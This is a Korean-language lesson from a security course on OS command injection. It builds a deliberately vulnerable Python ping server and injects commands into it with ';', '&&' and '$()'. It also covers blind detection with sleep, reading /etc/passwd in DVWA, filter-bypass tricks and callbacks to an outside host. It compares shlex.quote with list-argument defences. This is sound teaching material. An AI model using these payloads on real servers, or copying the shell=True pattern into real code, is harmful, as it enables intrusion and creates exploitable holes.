Step 143. 명령어 인젝션 — 검색창이 서버의 터미널이 되는 순간

Step 143. 명령어 인젝션 — 검색창이 서버의 터미널이 되는 순간

Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★★☆ | 예상 소요 시간 3시간

전제: Step 103의 명령어 인젝션 원리(sh -c 실험), Step 142의 웹쉘, 리눅스 쉘 기초를 사용합니다.

  • 준비물: 리눅스(WSL 또는 Kali), 파이썬 3 (표준 라이브러리만), curl, DVWA 랩
  • 주의: ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.

Step 142의 웹쉘은 공격자가 심는 명령 실행기였습니다. 그런데 심을 필요가 없는 경우가 있습니다 — 서버의 평범한 기능이 이미 "입력을 명령에 붙여 실행"하고 있다면, 그 기능 자체가 웹쉘입니다. "IP를 넣으면 ping을 대신 쳐 주는" 진단 페이지가 대표적입니다. 오늘은 그런 취약 서버를 직접 만들고, 127.0.0.1; whoami 한 줄로 주입을 성공시키고, 연결 문자 네 종류의 성격과 블라인드 확인법, 그리고 두 가지 정석 방어까지 전부 실측합니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • 명령어 인젝션의 성립 조건(입력 결합 + 셸 실행)을 코드에서 찾아낸다
  • ;, &&, |, $() 네 가지 연결의 차이를 설명하고 사용한다
  • 출력이 안 보이는 블라인드 상황을 sleep 시간으로 확인한다
  • 필터(금지 문자)를 우회하는 사고방식을 적용한다
  • shlex.quote(escapeshellarg 등가)와 리스트 인자 두 방어의 차이를 실험으로 보인다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 리눅스(WSL/Kali) 쉘, 파이썬 3 표준 라이브러리(http.server), curl
오늘의 명령 ; && | $() (쉘 연결 문자), shlex.quote(), subprocess.run([...])
필요한 개념 명령어 인젝션, 쉘 메타문자, 블라인드 인젝션, 방어의 두 계층
오늘의 산출물 인젝션 실측 기록("내 입력 / 최종 명령" 쌍) + 방어 비교 노트

2-1. 복습이자 출발 — 데이터가 명령으로 승격하는 조건

Step 103에서 확인한 성립 조건 두 가지를 기억하세요. ① 입력이 명령 문자열에 그대로 결합되고, ② 그 문자열을 서버가 셸로 실행합니다. 파이썬으로 쓰면 이 한 줄이 조건을 동시에 충족합니다.

subprocess.run(f"ping -c 2 {host}", shell=True)   # 위험 신호: f-string 결합 + shell=True

shell=True는 문자열을 셸(/bin/sh -c)에 통째로 넘깁니다 — PHP의 system()과 같은 구조입니다. 셸이 개입하는 순간, 입력 속의 ;·|·&&는 "데이터 속 문자"가 아니라 셸의 문법이 됩니다.

2-2. 연결 문자 네 종의 성격

문자 의미 특징
; 앞 명령 끝, 뒤 명령 실행 앞의 성공 여부 무관 — 가장 무난한 첫 시도
&& 앞이 성공하면 뒤 실행 앞 명령이 실패하면 뒤도 안 돔
| 앞의 출력을 뒤 명령의 입력으로 뒤 명령은 무조건 실행됨
$(명령) 명령을 먼저 실행해 결과로 치환 따옴표 안에서도 동작 — 필터 우회에 강함

2-3. 블라인드 인젝션 — 출력이 안 보일 때

어떤 서버는 명령 결과를 화면에 안 보여 줍니다. 그래도 명령은 실행됩니다. 확인법은 두 가지입니다.

  • 시간: ; sleep 5를 넣어 응답이 5초 늦어지면 실행된 것입니다
  • 외부 신호: 내 서버로 요청을 보내게 하거나(; curl http://내주소/표시), 결과를 파일로 쓴 뒤 다른 경로로 읽습니다

2-4. 방어의 두 계층 — 소독과 셸 제거

방어는 두 가지 방향입니다. ① 소독(escaping): 입력을 "문자 그대로의 데이터"로 바꿉니다 — PHP의 escapeshellarg(), 파이썬의 shlex.quote(). 입력 전체가 따옴표로 감싸져 메타문자가 무력화됩니다. ② 셸 제거: subprocess.run(["ping", "-c", "2", host])처럼 인자를 리스트로 넘기면 셸을 거치지 않으므로 ;는 그냥 글자입니다. 가능하면 ②가 정석이고, ①은 셸이 꼭 필요할 때의 차선입니다.


3. 따라 하기

오늘은 전부 로컬 실측입니다. (본 교재는 2026-09-09에 WSL Ubuntu 24.04 + 파이썬 3.12 환경에서 실측했습니다.)

3-1. 취약 ping 서버 — 대신 쳐 주는 진단 도구

실제 관리 도구에 흔한 형태입니다. 표준 라이브러리만으로 만듭니다 (vuln_ping.py).

입력

from http.server import BaseHTTPRequestHandler, HTTPServer
import subprocess, urllib.parse, shlex

class H(BaseHTTPRequestHandler):
    def log_message(self, *a): pass
    def do_GET(self):
        u = urllib.parse.urlparse(self.path)
        host = urllib.parse.parse_qs(u.query).get("host", [""])[0]
        if u.path == "/ping":
            # 취약: 입력을 명령 문자열에 그대로 결합해 셸로 실행
            out = subprocess.run(f"ping -c 2 {host}", shell=True,
                                 capture_output=True, text=True)
        elif u.path == "/ping_quote":
            # 방어 1: shlex.quote — PHP escapeshellarg에 해당
            out = subprocess.run(f"ping -c 2 {shlex.quote(host)}", shell=True,
                                 capture_output=True, text=True)
        elif u.path == "/ping_list":
            # 방어 2: 셸을 안 거치는 리스트 인자
            out = subprocess.run(["ping", "-c", "2", host],
                                 capture_output=True, text=True)
        else:
            self.send_response(404); self.end_headers(); return
        body = (out.stdout + out.stderr).encode()
        self.send_response(200)
        self.send_header("Content-Type", "text/plain; charset=utf-8")
        self.end_headers(); self.wfile.write(body)

HTTPServer(("127.0.0.1", 8350), H).serve_forever()

읽는 법: 같은 입력이 세 개의 문으로 갈라집니다. /ping은 취약한 원조, /ping_quote는 소독 방어, /ping_list는 셸 제거 방어입니다. 한 서버에서 공격과 두 방어를 나란히 비교할 수 있습니다. 서버는 python3 /tmp/vuln_ping.py로 띄우고, 끝나면 반드시 종료하세요.

3-2. 정상 동작 확인 — 기준선 잡기

입력

curl -s "http://127.0.0.1:8350/ping?host=127.0.0.1"

출력 (2026-09-09 실측):

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.047 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.077 ms

읽는 법: 최종 명령은 ping -c 2 127.0.0.1 — 의도대로입니다. 공격 전에 항상 정상 출력을 봐 두세요. 인젝션 성공 여부는 이 기준선과의 차이로 판독합니다.

3-3. 첫 주입 — ;로 명령을 이어 붙인다

입력

curl -s "http://127.0.0.1:8350/ping?host=127.0.0.1;%20whoami"

(%20은 공백의 URL 인코딩입니다. 실제 입력은 127.0.0.1; whoami입니다.)

출력 (2026-09-09 실측):

2 packets transmitted, 2 received, 0% packet loss, time 1018ms
rtt min/avg/max/mdev = 0.027/0.039/0.052/0.012 ms
root

읽는 법: 최종 명령은 ping -c 2 127.0.0.1; whoami가 됐습니다. 셸은 ;에서 첫 명령을 끝내고 두 번째 whoami를 실행했고, 결과 root가 ping 통계 뒤에 붙어 돌아왔습니다. 그리고 root — 명령은 서버 프로세스의 계정으로 실행됩니다(이 실험 서버는 root로 띄웠습니다). Step 120·142의 법칙, 세 번째 확인입니다.

왜 하는가: write-up에는 입력만 적지 말고 이 한 쌍을 적으세요 — 내 입력: 127.0.0.1; whoami / 최종 명령: ping -c 2 127.0.0.1; whoami. Step 103에서 만든 습관입니다.

3-4. 연결 문자 실험 — &&와 $()

입력 (&&는 URL에서 %26%26으로 인코딩)

curl -s "http://127.0.0.1:8350/ping?host=127.0.0.1%20%26%26%20id"

출력 (2026-09-09 실측):

rtt min/avg/max/mdev = 0.029/0.042/0.055/0.013 ms
uid=0(root) gid=0(root) groups=0(root)

읽는 법: ping이 성공했으므로 && 뒤의 id가 실행됐습니다. 만약 앞 명령이 실패할 입력(예: 존재하지 않는 호스트)이라면 뒤는 실행되지 않습니다 — &&를 쓸 때는 "앞 명령이 성공할 것"이 조건입니다.

입력 (명령 치환)

curl -s "http://127.0.0.1:8350/ping?host=%24(id)"

출력 (2026-09-09 실측):

ping: groups=0(root): Name or service not known

읽는 법: $(id)가 먼저 실행되어 결과 uid=0(root) gid=0(root) groups=0(root)host 자리에 치환됐고, ping은 그 단어들을 호스트명으로 해석하다 실패했습니다. 에러 메시지에 groups=0(root)가 보이는 것 자체가 치환이 일어났다는 증거입니다. ;&&가 필터에 막혀도 $( )는 별개의 문법이라 따로 막아야 합니다 — 필터 목록을 읽으면 다음 시도가 보입니다.

3-5. 블라인드 확인 — 시간은 거짓말하지 않는다

출력이 안 나오는 서버를 가정하고, sleep으로 확인합니다.

입력

curl -s -o /dev/null -w "응답 시간: %{time_total}초\n" \
  "http://127.0.0.1:8350/ping?host=127.0.0.1;%20sleep%203"
curl -s -o /dev/null -w "정상 요청: %{time_total}초\n" \
  "http://127.0.0.1:8350/ping?host=127.0.0.1"

출력 (2026-09-09 실측):

응답 시간: 4.013195초
정상 요청: 1.023992초

읽는 법: 정상 요청은 약 1초(ping 2회)인데, sleep 3을 넣으니 약 4초 — 정확히 3초가 늘었습니다. 화면에 아무것도 안 보여도 명령이 실행됐다는 것이 시간으로 증명됐습니다. 이것이 블라인드 인젝션의 확인법입니다. 실전에서는 여기서 ; 결과 > /var/www/html/out.txt처럼 결과를 웹에서 읽을 수 있는 곳에 쓰거나, 외부 요청으로 결과를 배송합니다.

3-6. 방어 실측 — 같은 입력, 다른 결말

같은 인젝션 입력을 두 방어 엔드포인트에 보냅니다.

입력

curl -s "http://127.0.0.1:8350/ping_quote?host=127.0.0.1;%20whoami"
curl -s "http://127.0.0.1:8350/ping_list?host=127.0.0.1;%20whoami"

출력 (2026-09-09 실측, 두 엔드포인트 공통):

ping: 127.0.0.1; whoami: Name or service not known

읽는 법: 둘 다 127.0.0.1; whoami 전체를 하나의 호스트명으로 취급해 "그런 호스트 없음"이 됐습니다. /ping_quote는 입력 전체를 따옴표로 감싸('127.0.0.1; whoami') 셸 문법을 문자로 바꿨고, /ping_list는 셸 자체를 거치지 않아 ;를 해석할 주체가 없습니다. 공격 표면에서는 같은 결과지만, 내부 동작은 다릅니다 — 그리고 셸을 거치지 않는 쪽이 근본적으로 더 안전합니다.

3-7. DVWA에서의 적용 — 워게임 진행 순서

랩에서는 이 순서로 진행하세요 (화면·결과는 출력 예시):

  1. DVWA Command Injection (Low) 입력창에 127.0.0.1; id를 넣습니다. ping 결과 뒤에 uid=33(www-data)...이 붙으면 성공입니다.
  2. 연결 문자를 바꿔 봅니다: 127.0.0.1 && id, 127.0.0.1 | id, $(id). 각각의 출력 차이를 기록합니다.
  3. Medium으로 올립니다. ;가 막히는 것을 확인하고, 막힌 문자 대신 &&·|를 시도합니다 — 필터 목록을 추측하며 하나씩 지워가는 게임입니다 (Step 103, 139의 반복).
  4. 파일 읽기: 127.0.0.1 | cat /etc/passwd로 서버 파일을 출력해 봅니다.
  5. 블라인드 실감: 출력이 안 나오는 형태를 만나면 3-5의 sleep 측정을 적용합니다.

4. 미션과 연습문제

미션 — 인젝션 실측 기록과 방어 비교

  1. 3-1의 서버를 만들고 3-2의 기준선 출력을 확보한다
  2. ;, &&, $( ) 세 입력의 실측 출력을 "내 입력 / 최종 명령" 쌍과 함께 write-up에 붙인다
  3. 3-5의 sleep 시간 측정을 재현하고 두 숫자(정상/주입)를 기록한다
  4. 3-6의 두 방어에 같은 입력을 보내 결과를 비교하고, "내부 동작이 어떻게 다른가"를 한 줄씩 쓴다
  5. DVWA(또는 랩) Command Injection의 Low·Medium을 클리어하고 사용한 입력을 정리한다

연습문제

문제 1. subprocess.run(f"ping -c 2 {host}", shell=True) 한 줄에서 취약점의 조건 두 가지를 각각 짚어 보세요.

문제 2. ;&&의 차이를 설명하고, &&를 쓸 때 추가로 필요한 조건을 말해 보세요.

문제 3. 3-4에서 $(id) 입력의 출력이 에러였는데도 "성공한 인젝션"이라고 볼 수 있는 이유는 무엇인가요?

문제 4. shlex.quote() 방어와 리스트 인자 방어 중 더 근본적인 쪽은 무엇이며, 그 이유를 "누가 ;를 해석하는가"로 설명해 보세요.


5. 모범 답안과 완료 기준

미션 모범 답안

실측 기록 예시 (2026-09-09, WSL Ubuntu 기준):

[주입 1] 내 입력: 127.0.0.1; whoami
         최종 명령: ping -c 2 127.0.0.1; whoami  -> 출력 끝에 root
[주입 2] 내 입력: 127.0.0.1 && id    -> uid=0(root) gid=0(root) groups=0(root)
[주입 3] 내 입력: $(id)              -> ping: groups=0(root): Name or service not known
[블라인드] sleep 3 주입: 4.01초 / 정상: 1.02초 -> 3초 증가 = 실행 증명
[방어] quote/list 모두: ping: 127.0.0.1; whoami: Name or service not known

방어 비교 노트 예시:

- shlex.quote: 셸은 거치되 입력이 따옴표로 감싸져 메타문자가 '글자'가 됨
- 리스트 인자: 셸 자체를 안 거침 — ;를 해석할 주체가 없음 (근본 방어)

검증하는 법: ① 세 주입의 출력이 모두 붙어 있는가. ② sleep의 두 숫자 차이가 대략 주입한 초와 일치하는가. ③ 방어 비교가 "출력이 같다"가 아니라 "내부 동작"을 설명하는가.

연습문제 해답

문제 1 해답. 조건 ① 입력의 그대로 결합 — f"ping -c 2 {host}"의 f-string 부분. 조건 ② 셸 실행 — shell=True. 둘 중 하나만 제거해도(검증 후 결합하거나, 셸 없이 리스트로 실행하거나) 인젝션은 성립하지 않습니다.

문제 2 해답. ;는 앞 명령의 성공 여부와 무관하게 뒤를 실행하고, &&는 앞이 성공해야만 뒤를 실행합니다. 따라서 &&를 쓸 때는 "앞 명령이 성공하는 입력"이라는 조건이 추가됩니다 — 실패할 호스트를 넣으면 뒤 명령도 실행되지 않습니다.

문제 3 해답. 에러 메시지에 groups=0(root) — 즉 id실행 결과가 들어 있기 때문입니다. $( )가 먼저 실행되어 그 출력이 ping의 인자로 치환됐다는 증거이므로, 치환 자리에 $(cat /etc/passwd) 같은 것을 넣으면 그 결과가 에러 메시지나 응답 어딘가에 새어 나옵니다. 실패한 ping, 성공한 인젝션입니다.

문제 4 해답. 리스트 인자 방어가 더 근본적입니다. shlex.quote는 셸이 여전히 명령을 해석하되 입력만 따옴표로 묶는 방식이라, 따옴표 처리의 예외를 공격받을 여지가 남습니다. 리스트 인자(subprocess.run(["ping", "-c", "2", host]))는 셸을 아예 거치지 않으므로 ;를 해석하는 주체가 존재하지 않습니다 — 소독이 아니라 제거입니다.

완료 기준 체크리스트

  • [ ] 취약 한 줄(f-string 결합 + shell=True)을 코드에서 찾을 수 있다
  • [ ] ;로 첫 주입을 성공시키고 "내 입력 / 최종 명령" 쌍을 적었다
  • [ ] &&, |, $()의 차이를 설명하고 실험했다
  • [ ] sleep 시간 측정으로 블라인드 인젝션을 확인했다
  • [ ] "얻은 권한 = 서버 프로세스 계정"을 출력으로 확인했다
  • [ ] shlex.quote와 리스트 인자의 차이를 설명할 수 있다
  • [ ] 이 실습이 내 랩 전용임을 다시 확인했다

6. 흔한 실수와 해결

벽 1. 주입 문자를 넣었는데 400이나 빈 응답이 온다

증상: &를 넣으니 요청이 깨집니다.
원인: URL에서 &는 "다음 파라미터 시작"이라는 뜻입니다 — host=127.0.0.1 && id&가 파라미터를 끊어 버립니다.
해결: URL 인코딩을 하세요 — &%26, 공백은 %20, |%7C. 3-4의 실제 입력이 그렇게 생겼습니다. curl을 쓸 때 --data-urlencode 옵션도 이 일을 대신해 줍니다.

벽 2. && 뒤 명령이 실행되지 않는다

증상: 127.0.0.1 && id를 넣었는데 id 출력이 없습니다.
원인: 앞 명령(ping)이 실패했거나, 종료 코드가 0이 아니었습니다. &&는 성공에만 연결됩니다.
해결: 앞 명령이 확실히 성공하는 입력인지 먼저 확인하거나, 무조건 연결되는 ;로 바꾸세요.

벽 3. 출력은 나오는데 내 명령 결과가 안 보인다

증상: ping 결과만 나옵니다.
원인: 서버가 출력의 앞부분만 보여 주거나, 내 명령의 출력이 stderr로 빠졌을 수 있습니다.
해결: 명령 뒤에 2>&1을 붙여 에러를 표준 출력으로 돌리고(Step 142), 서버가 출력을 자른다면 결과를 파일로 쓴 뒤 다른 경로로 읽는 우회를 씁니다.

벽 4. 필터에 ; 가 막혀 있다

증상: ;를 넣으면 입력이 거부되거나 제거됩니다.
원인: 금지 문자 필터(블랙리스트)입니다.
해결: 목록 밖을 시도하세요 — &&, |, $( ), 백틱(`), 심지어 개행(%0a)도 명령 구분이 됩니다. 3-4처럼 $(id); 없이도 실행됩니다. Step 103의 Natas 10, Step 139의 필터 우회와 같은 게임입니다.

벽 5. 실습 서버를 띄운 채로 잊었다

증상: 나중에 8350 포트가 "이미 사용 중"이라며 새 서버가 안 뜹니다.

OSError: [Errno 98] Address already in use

원인: 이전에 띄운 취약 서버가 살아 있습니다.
해결: pkill -f vuln_ping.py로 종료하세요. 취약 서버를 켜 둔 채 자리를 비우는 것은, 잠금 해제된 연습장을 열어 두는 것과 같습니다 — 랩에서도 정리가 기본입니다.


7. 정리

오늘의 개념

개념 한 줄 설명
명령어 인젝션 입력 결합 + 셸 실행이 만날 때, 데이터가 명령으로 승격
; 무조건 다음 명령 실행 — 첫 시도용 연결 문자
&& 앞 성공 시에만 다음 실행
$() 명령 치환 — 따옴표 안에서도 동작, 필터 우회에 강함
블라인드 인젝션 출력 없이 실행됨 — sleep 시간으로 증명
shlex.quote 입력을 따옴표로 묶는 소독 — escapeshellarg 등가
리스트 인자 셸 제거 — ;를 해석할 주체를 없애는 근본 방어

오늘의 명령어와 코드

명령·코드 하는 일
127.0.0.1; whoami ;로 명령 이어 붙이기
127.0.0.1 && id 성공 조건부 이어 붙이기
$(id) 명령 치환 주입
; sleep 5 블라인드 확인용 시간 지연
curl -w "%{time_total}" 응답 시간 측정
shlex.quote(입력) 파이썬의 셸 인자 소독
subprocess.run(["ping", "-c", "2", host]) 셸 없는 안전 실행

명령어보다 중요한 감각

오늘의 핵심 문장은 "셸이 개입하는 순간, 데이터는 문법이 된다"입니다. 서버 코드에서 shell=True, system(), exec()를 볼 때마다 눈이 가야 하고, 그 앞에 사용자 입력이 붙어 있으면 인젝션 후보입니다. 이 조건 반사가 명령어 인젝션 실력의 전부입니다.

그리고 방어는 단순합니다 — 가능하면 셸을 없애고(리스트 인자), 불가피하면 소독하고(quote), "막을 문자 열거"는 최후의 보루로만 씁니다. Step 103의 grep, 오늘의 ping, 그리고 실전의 수많은 "대신 실행해 주는 기능"이 전부 같은 심장을 가졌습니다. 서버가 나를 대신해 무언가를 실행해 주는 기능을 볼 때마다, 오늘의 질문을 떠올리세요 — 내 입력이 어디로 흘러가는가?


전부 체크되면 Step 143 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.